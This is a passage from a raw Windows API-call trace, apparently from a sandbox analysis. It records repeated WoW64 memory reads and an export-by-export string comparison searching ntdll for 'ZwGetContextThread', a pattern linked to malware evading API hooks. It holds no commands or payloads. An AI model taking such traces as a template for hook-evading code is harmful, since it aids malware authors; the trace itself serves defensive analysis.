NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.163] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x77208000, Buffer=0x0, BufferSize=0x2dc8000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.163] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x77209000, Buffer=0x0, BufferSize=0x2dc9000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.163] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x7720a000, Buffer=0x0, BufferSize=0x2dca000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.163] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x7720b000, Buffer=0x0, BufferSize=0x2dcb000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.163] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x7720c000, Buffer=0x0, BufferSize=0x2dcc000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.163] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x7720d000, Buffer=0x0, BufferSize=0x2dcd000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.164] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x7720e000, Buffer=0x0, BufferSize=0x2dce000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.164] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x7720f000, Buffer=0x0, BufferSize=0x2dcf000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.164] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x77210000, Buffer=0x0, BufferSize=0x2dd0000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.164] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x77211000, Buffer=0x0, BufferSize=0x2dd1000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.164] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x77212000, Buffer=0x0, BufferSize=0x2dd2000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.164] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x77213000, Buffer=0x0, BufferSize=0x2dd3000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.165] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x77214000, Buffer=0x0, BufferSize=0x2dd4000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.165] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x77215000, Buffer=0x0, BufferSize=0x2dd5000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.165] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x77216000, Buffer=0x0, BufferSize=0x2dd6000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.165] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x77217000, Buffer=0x0, BufferSize=0x2dd7000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.165] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x77218000, Buffer=0x0, BufferSize=0x2dd8000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.165] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x77219000, Buffer=0x0, BufferSize=0x2dd9000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.166] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x7721a000, Buffer=0x0, BufferSize=0x2dda000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.166] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x7721b000, Buffer=0x0, BufferSize=0x2ddb000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.166] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x7721c000, Buffer=0x0, BufferSize=0x2ddc000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.166] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x7721d000, Buffer=0x0, BufferSize=0x2ddd000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.166] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x7721e000, Buffer=0x0, BufferSize=0x2dde000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.166] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x7721f000, Buffer=0x0, BufferSize=0x2ddf000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.167] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x77220000, Buffer=0x0, BufferSize=0x2de0000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.167] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x77221000, Buffer=0x0, BufferSize=0x2de1000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.167] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x77222000, Buffer=0x0, BufferSize=0x2de2000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.167] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x77223000, Buffer=0x0, BufferSize=0x2de3000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.167] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x77224000, Buffer=0x0, BufferSize=0x2de4000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.167] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x77225000, Buffer=0x0, BufferSize=0x2de5000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.168] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x77226000, Buffer=0x0, BufferSize=0x2de6000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.168] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x77227000, Buffer=0x0, BufferSize=0x2de7000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.168] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x77228000, Buffer=0x0, BufferSize=0x2de8000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.168] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x77229000, Buffer=0x0, BufferSize=0x2de9000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.168] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x7722a000, Buffer=0x0, BufferSize=0x2dea000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.168] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x7722b000, Buffer=0x0, BufferSize=0x2deb000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.168] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x7722c000, Buffer=0x0, BufferSize=0x2dec000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.169] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x7722d000, Buffer=0x0, BufferSize=0x2ded000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.169] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x7722e000, Buffer=0x0, BufferSize=0x2dee000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.169] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x7722f000, Buffer=0x0, BufferSize=0x2def000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.169] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x77230000, Buffer=0x0, BufferSize=0x2df0000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.169] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x77231000, Buffer=0x0, BufferSize=0x2df1000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.169] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x77232000, Buffer=0x0, BufferSize=0x2df2000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.170] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x77233000, Buffer=0x0, BufferSize=0x2df3000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.170] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x77234000, Buffer=0x0, BufferSize=0x2df4000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.170] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x77235000, Buffer=0x0, BufferSize=0x2df5000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.170] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x77236000, Buffer=0x0, BufferSize=0x2df6000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.170] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x77237000, Buffer=0x0, BufferSize=0x2df7000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.170] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x77238000, Buffer=0x0, BufferSize=0x2df8000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.171] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x77239000, Buffer=0x0, BufferSize=0x2df9000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.171] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x7723a000, Buffer=0x0, BufferSize=0x2dfa000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.171] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x7723b000, Buffer=0x0, BufferSize=0x2dfb000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.171] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x7723c000, Buffer=0x0, BufferSize=0x2dfc000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.171] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x7723d000, Buffer=0x0, BufferSize=0x2dfd000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.171] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x7723e000, Buffer=0x0, BufferSize=0x2dfe000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.172] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x7723f000, Buffer=0x0, BufferSize=0x2dff000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.172] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x77240000, Buffer=0x0, BufferSize=0x2e00000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.172] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x77241000, Buffer=0x0, BufferSize=0x2e01000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.172] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x77242000, Buffer=0x0, BufferSize=0x2e02000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.172] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x77243000, Buffer=0x0, BufferSize=0x2e03000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.173] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x77244000, Buffer=0x0, BufferSize=0x2e04000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.173] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x77245000, Buffer=0x0, BufferSize=0x2e05000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.197] lstrcmpA (lpString1="A_SHAFinal", lpString2="ZwGetContextThread") returned -1 [0036.197] lstrcmpA (lpString1="A_SHAInit", lpString2="ZwGetContextThread") returned -1 [0036.197] lstrcmpA (lpString1="A_SHAUpdate", lpString2="ZwGetContextThread") returned -1 [0036.197] lstrcmpA (lpString1="AlpcAdjustCompletionListConcurrencyCount", lpString2="ZwGetContextThread") returned -1 [0036.197] lstrcmpA (lpString1="AlpcFreeCompletionListMessage", lpString2="ZwGetContextThread") returned -1 [0036.197] lstrcmpA (lpString1="AlpcGetCompletionListLastMessageInformation", lpString2="ZwGetContextThread") returned -1 [0036.197] lstrcmpA (lpString1="AlpcGetCompletionListMessageAttributes", lpString2="ZwGetContextThread") returned -1 [0036.197] lstrcmpA (lpString1="AlpcGetHeaderSize", lpString2="ZwGetContextThread") returned -1 [0036.197] lstrcmpA (lpString1="AlpcGetMessageAttribute", lpString2="ZwGetContextThread") returned -1 [0036.197] lstrcmpA (lpString1="AlpcGetMessageFromCompletionList", lpString2="ZwGetContextThread") returned -1 [0036.197] lstrcmpA (lpString1="AlpcGetOutstandingCompletionListMessageCount", lpString2="ZwGetContextThread") returned -1 [0036.198] lstrcmpA (lpString1="AlpcInitializeMessageAttribute", lpString2="ZwGetContextThread") returned -1 [0036.198] lstrcmpA (lpString1="AlpcMaxAllowedMessageLength", lpString2="ZwGetContextThread") returned -1 [0036.198] lstrcmpA (lpString1="AlpcRegisterCompletionList", lpString2="ZwGetContextThread") returned -1 [0036.198] lstrcmpA (lpString1="AlpcRegisterCompletionListWorkerThread", lpString2="ZwGetContextThread") returned -1 [0036.198] lstrcmpA (lpString1="AlpcRundownCompletionList", lpString2="ZwGetContextThread") returned -1 [0036.198] lstrcmpA (lpString1="AlpcUnregisterCompletionList", lpString2="ZwGetContextThread") returned -1 [0036.198] lstrcmpA (lpString1="AlpcUnregisterCompletionListWorkerThread", lpString2="ZwGetContextThread") returned -1 [0036.198] lstrcmpA (lpString1="CsrAllocateCaptureBuffer", lpString2="ZwGetContextThread") returned -1 [0036.198] lstrcmpA (lpString1="CsrAllocateMessagePointer", lpString2="ZwGetContextThread") returned -1 [0036.198] lstrcmpA (lpString1="CsrCaptureMessageBuffer", lpString2="ZwGetContextThread") returned -1 [0036.198] lstrcmpA (lpString1="CsrCaptureMessageMultiUnicodeStringsInPlace", lpString2="ZwGetContextThread") returned -1 [0036.198] lstrcmpA (lpString1="CsrCaptureMessageString", lpString2="ZwGetContextThread") returned -1 [0036.198] lstrcmpA (lpString1="CsrCaptureTimeout", lpString2="ZwGetContextThread") returned -1 [0036.198] lstrcmpA (lpString1="CsrClientCallServer", lpString2="ZwGetContextThread") returned -1 [0036.198] lstrcmpA (lpString1="CsrClientConnectToServer", lpString2="ZwGetContextThread") returned -1 [0036.198] lstrcmpA (lpString1="CsrFreeCaptureBuffer", lpString2="ZwGetContextThread") returned -1 [0036.198] lstrcmpA (lpString1="CsrGetProcessId", lpString2="ZwGetContextThread") returned -1 [0036.198] lstrcmpA (lpString1="CsrIdentifyAlertableThread", lpString2="ZwGetContextThread") returned -1 [0036.198] lstrcmpA (lpString1="CsrSetPriorityClass", lpString2="ZwGetContextThread") returned -1 [0036.198] lstrcmpA (lpString1="CsrVerifyRegion", lpString2="ZwGetContextThread") returned -1 [0036.198] lstrcmpA (lpString1="DbgBreakPoint", lpString2="ZwGetContextThread") returned -1 [0036.198] lstrcmpA (lpString1="DbgPrint", lpString2="ZwGetContextThread") returned -1 [0036.198] lstrcmpA (lpString1="DbgPrintEx", lpString2="ZwGetContextThread") returned -1 [0036.198] lstrcmpA (lpString1="DbgPrintReturnControlC", lpString2="ZwGetContextThread") returned -1 [0036.198] lstrcmpA (lpString1="DbgPrompt", lpString2="ZwGetContextThread") returned -1 [0036.198] lstrcmpA (lpString1="DbgQueryDebugFilterState", lpString2="ZwGetContextThread") returned -1 [0036.198] lstrcmpA (lpString1="DbgSetDebugFilterState", lpString2="ZwGetContextThread") returned -1 [0036.198] lstrcmpA (lpString1="DbgUiConnectToDbg", lpString2="ZwGetContextThread") returned -1 [0036.198] lstrcmpA (lpString1="DbgUiContinue", lpString2="ZwGetContextThread") returned -1 [0036.198] lstrcmpA (lpString1="DbgUiConvertStateChangeStructure", lpString2="ZwGetContextThread") returned -1 [0036.198] lstrcmpA (lpString1="DbgUiDebugActiveProcess", lpString2="ZwGetContextThread") returned -1 [0036.198] lstrcmpA (lpString1="DbgUiGetThreadDebugObject", lpString2="ZwGetContextThread") returned -1 [0036.198] lstrcmpA (lpString1="DbgUiIssueRemoteBreakin", lpString2="ZwGetContextThread") returned -1 [0036.198] lstrcmpA (lpString1="DbgUiRemoteBreakin", lpString2="ZwGetContextThread") returned -1 [0036.198] lstrcmpA (lpString1="DbgUiSetThreadDebugObject", lpString2="ZwGetContextThread") returned -1 [0036.198] lstrcmpA (lpString1="DbgUiStopDebugging", lpString2="ZwGetContextThread") returned -1 [0036.198] lstrcmpA (lpString1="DbgUiWaitStateChange", lpString2="ZwGetContextThread") returned -1 [0036.199] lstrcmpA (lpString1="DbgUserBreakPoint", lpString2="ZwGetContextThread") returned -1 [0036.199] lstrcmpA (lpString1="EtwCreateTraceInstanceId", lpString2="ZwGetContextThread") returned -1 [0036.199] lstrcmpA (lpString1="EtwDeliverDataBlock", lpString2="ZwGetContextThread") returned -1 [0036.199] lstrcmpA (lpString1="EtwEnumerateProcessRegGuids", lpString2="ZwGetContextThread") returned -1 [0036.199] lstrcmpA (lpString1="EtwEventActivityIdControl", lpString2="ZwGetContextThread") returned -1 [0036.199] lstrcmpA (lpString1="EtwEventEnabled", lpString2="ZwGetContextThread") returned -1 [0036.199] lstrcmpA (lpString1="EtwEventProviderEnabled", lpString2="ZwGetContextThread") returned -1 [0036.199] lstrcmpA (lpString1="EtwEventRegister", lpString2="ZwGetContextThread") returned -1 [0036.199] lstrcmpA (lpString1="EtwEventUnregister", lpString2="ZwGetContextThread") returned -1 [0036.199] lstrcmpA (lpString1="EtwEventWrite", lpString2="ZwGetContextThread") returned -1 [0036.199] lstrcmpA (lpString1="EtwEventWriteEndScenario", lpString2="ZwGetContextThread") returned -1 [0036.199] lstrcmpA (lpString1="EtwEventWriteEx", lpString2="ZwGetContextThread") returned -1 [0036.199] lstrcmpA (lpString1="EtwEventWriteFull", lpString2="ZwGetContextThread") returned -1 [0036.199] lstrcmpA (lpString1="EtwEventWriteNoRegistration", lpString2="ZwGetContextThread") returned -1 [0036.199] lstrcmpA (lpString1="EtwEventWriteStartScenario", lpString2="ZwGetContextThread") returned -1 [0036.199] lstrcmpA (lpString1="EtwEventWriteString", lpString2="ZwGetContextThread") returned -1 [0036.199] lstrcmpA (lpString1="EtwEventWriteTransfer", lpString2="ZwGetContextThread") returned -1 [0036.199] lstrcmpA (lpString1="EtwGetTraceEnableFlags", lpString2="ZwGetContextThread") returned -1 [0036.199] lstrcmpA (lpString1="EtwGetTraceEnableLevel", lpString2="ZwGetContextThread") returned -1 [0036.199] lstrcmpA (lpString1="EtwGetTraceLoggerHandle", lpString2="ZwGetContextThread") returned -1 [0036.199] lstrcmpA (lpString1="EtwLogTraceEvent", lpString2="ZwGetContextThread") returned -1 [0036.199] lstrcmpA (lpString1="EtwNotificationRegister", lpString2="ZwGetContextThread") returned -1 [0036.199] lstrcmpA (lpString1="EtwNotificationUnregister", lpString2="ZwGetContextThread") returned -1 [0036.199] lstrcmpA (lpString1="EtwProcessPrivateLoggerRequest", lpString2="ZwGetContextThread") returned -1 [0036.199] lstrcmpA (lpString1="EtwRegisterSecurityProvider", lpString2="ZwGetContextThread") returned -1 [0036.199] lstrcmpA (lpString1="EtwRegisterTraceGuidsA", lpString2="ZwGetContextThread") returned -1 [0036.199] lstrcmpA (lpString1="EtwRegisterTraceGuidsW", lpString2="ZwGetContextThread") returned -1 [0036.199] lstrcmpA (lpString1="EtwReplyNotification", lpString2="ZwGetContextThread") returned -1 [0036.199] lstrcmpA (lpString1="EtwSendNotification", lpString2="ZwGetContextThread") returned -1 [0036.199] lstrcmpA (lpString1="EtwSetMark", lpString2="ZwGetContextThread") returned -1 [0036.199] lstrcmpA (lpString1="EtwTraceEventInstance", lpString2="ZwGetContextThread") returned -1 [0036.199] lstrcmpA (lpString1="EtwTraceMessage", lpString2="ZwGetContextThread") returned -1 [0036.199] lstrcmpA (lpString1="EtwTraceMessageVa", lpString2="ZwGetContextThread") returned -1 [0036.199] lstrcmpA (lpString1="EtwUnregisterTraceGuids", lpString2="ZwGetContextThread") returned -1 [0036.199] lstrcmpA (lpString1="EtwWriteUMSecurityEvent", lpString2="ZwGetContextThread") returned -1 [0036.199] lstrcmpA (lpString1="EtwpCreateEtwThread", lpString2="ZwGetContextThread") returned -1 [0036.199] lstrcmpA (lpString1="EtwpGetCpuSpeed", lpString2="ZwGetContextThread") returned -1 [0036.200] lstrcmpA (lpString1="EtwpNotificationThread", lpString2="ZwGetContextThread") returned -1 [0036.200] lstrcmpA (lpString1="EvtIntReportAuthzEventAndSourceAsync", lpString2="ZwGetContextThread") returned -1 [0036.200] lstrcmpA (lpString1="EvtIntReportEventAndSourceAsync", lpString2="ZwGetContextThread") returned -1 [0036.200] lstrcmpA (lpString1="ExpInterlockedPopEntrySListEnd", lpString2="ZwGetContextThread") returned -1 [0036.200] lstrcmpA (lpString1="ExpInterlockedPopEntrySListEnd16", lpString2="ZwGetContextThread") returned -1 [0036.200] lstrcmpA (lpString1="ExpInterlockedPopEntrySListFault", lpString2="ZwGetContextThread") returned -1 [0036.200] lstrcmpA (lpString1="ExpInterlockedPopEntrySListFault16", lpString2="ZwGetContextThread") returned -1 [0036.200] lstrcmpA (lpString1="ExpInterlockedPopEntrySListResume", lpString2="ZwGetContextThread") returned -1 [0036.200] lstrcmpA (lpString1="ExpInterlockedPopEntrySListResume16", lpString2="ZwGetContextThread") returned -1 [0036.200] lstrcmpA (lpString1="KiRaiseUserExceptionDispatcher", lpString2="ZwGetContextThread") returned -1 [0036.200] lstrcmpA (lpString1="KiUserApcDispatcher", lpString2="ZwGetContextThread") returned -1 [0036.200] lstrcmpA (lpString1="KiUserCallbackDispatcher", lpString2="ZwGetContextThread") returned -1 [0036.200] lstrcmpA (lpString1="KiUserExceptionDispatcher", lpString2="ZwGetContextThread") returned -1 [0036.200] lstrcmpA (lpString1="LdrAccessResource", lpString2="ZwGetContextThread") returned -1 [0036.200] lstrcmpA (lpString1="LdrAddLoadAsDataTable", lpString2="ZwGetContextThread") returned -1 [0036.200] lstrcmpA (lpString1="LdrAddRefDll", lpString2="ZwGetContextThread") returned -1 [0036.200] lstrcmpA (lpString1="LdrDisableThreadCalloutsForDll", lpString2="ZwGetContextThread") returned -1 [0036.200] lstrcmpA (lpString1="LdrEnumResources", lpString2="ZwGetContextThread") returned -1 [0036.200] lstrcmpA (lpString1="LdrEnumerateLoadedModules", lpString2="ZwGetContextThread") returned -1 [0036.200] lstrcmpA (lpString1="LdrFindEntryForAddress", lpString2="ZwGetContextThread") returned -1 [0036.200] lstrcmpA (lpString1="LdrFindResourceDirectory_U", lpString2="ZwGetContextThread") returned -1 [0036.200] lstrcmpA (lpString1="LdrFindResourceEx_U", lpString2="ZwGetContextThread") returned -1 [0036.200] lstrcmpA (lpString1="LdrFindResource_U", lpString2="ZwGetContextThread") returned -1 [0036.200] lstrcmpA (lpString1="LdrFlushAlternateResourceModules", lpString2="ZwGetContextThread") returned -1 [0036.200] lstrcmpA (lpString1="LdrGetDllHandle", lpString2="ZwGetContextThread") returned -1 [0036.200] lstrcmpA (lpString1="LdrGetDllHandleByMapping", lpString2="ZwGetContextThread") returned -1 [0036.200] lstrcmpA (lpString1="LdrGetDllHandleByName", lpString2="ZwGetContextThread") returned -1 [0036.200] lstrcmpA (lpString1="LdrGetDllHandleEx", lpString2="ZwGetContextThread") returned -1 [0036.200] lstrcmpA (lpString1="LdrGetFailureData", lpString2="ZwGetContextThread") returned -1 [0036.200] lstrcmpA (lpString1="LdrGetFileNameFromLoadAsDataTable", lpString2="ZwGetContextThread") returned -1 [0036.200] lstrcmpA (lpString1="LdrGetKnownDllSectionHandle", lpString2="ZwGetContextThread") returned -1 [0036.200] lstrcmpA (lpString1="LdrGetProcedureAddress", lpString2="ZwGetContextThread") returned -1 [0036.200] lstrcmpA (lpString1="LdrGetProcedureAddressEx", lpString2="ZwGetContextThread") returned -1 [0036.200] lstrcmpA (lpString1="LdrHotPatchRoutine", lpString2="ZwGetContextThread") returned -1 [0036.200] lstrcmpA (lpString1="LdrInitShimEngineDynamic", lpString2="ZwGetContextThread") returned -1 [0036.200] lstrcmpA (lpString1="LdrInitializeThunk", lpString2="ZwGetContextThread") returned -1 [0036.200] lstrcmpA (lpString1="LdrLoadAlternateResourceModule", lpString2="ZwGetContextThread") returned -1 [0036.200] lstrcmpA (lpString1="LdrLoadAlternateResourceModuleEx", lpString2="ZwGetContextThread") returned -1 [0036.201] lstrcmpA (lpString1="LdrLoadDll", lpString2="ZwGetContextThread") returned -1 [0036.201] lstrcmpA (lpString1="LdrLockLoaderLock", lpString2="ZwGetContextThread") returned -1 [0036.201] lstrcmpA (lpString1="LdrOpenImageFileOptionsKey", lpString2="ZwGetContextThread") returned -1 [0036.201] lstrcmpA (lpString1="LdrProcessInitializationComplete", lpString2="ZwGetContextThread") returned -1 [0036.201] lstrcmpA (lpString1="LdrProcessRelocationBlock", lpString2="ZwGetContextThread") returned -1 [0036.201] lstrcmpA (lpString1="LdrQueryImageFileExecutionOptions", lpString2="ZwGetContextThread") returned -1 [0036.201] lstrcmpA (lpString1="LdrQueryImageFileExecutionOptionsEx", lpString2="ZwGetContextThread") returned -1 [0036.201] lstrcmpA (lpString1="LdrQueryImageFileKeyOption", lpString2="ZwGetContextThread") returned -1 [0036.201] lstrcmpA (lpString1="LdrQueryModuleServiceTags", lpString2="ZwGetContextThread") returned -1 [0036.201] lstrcmpA 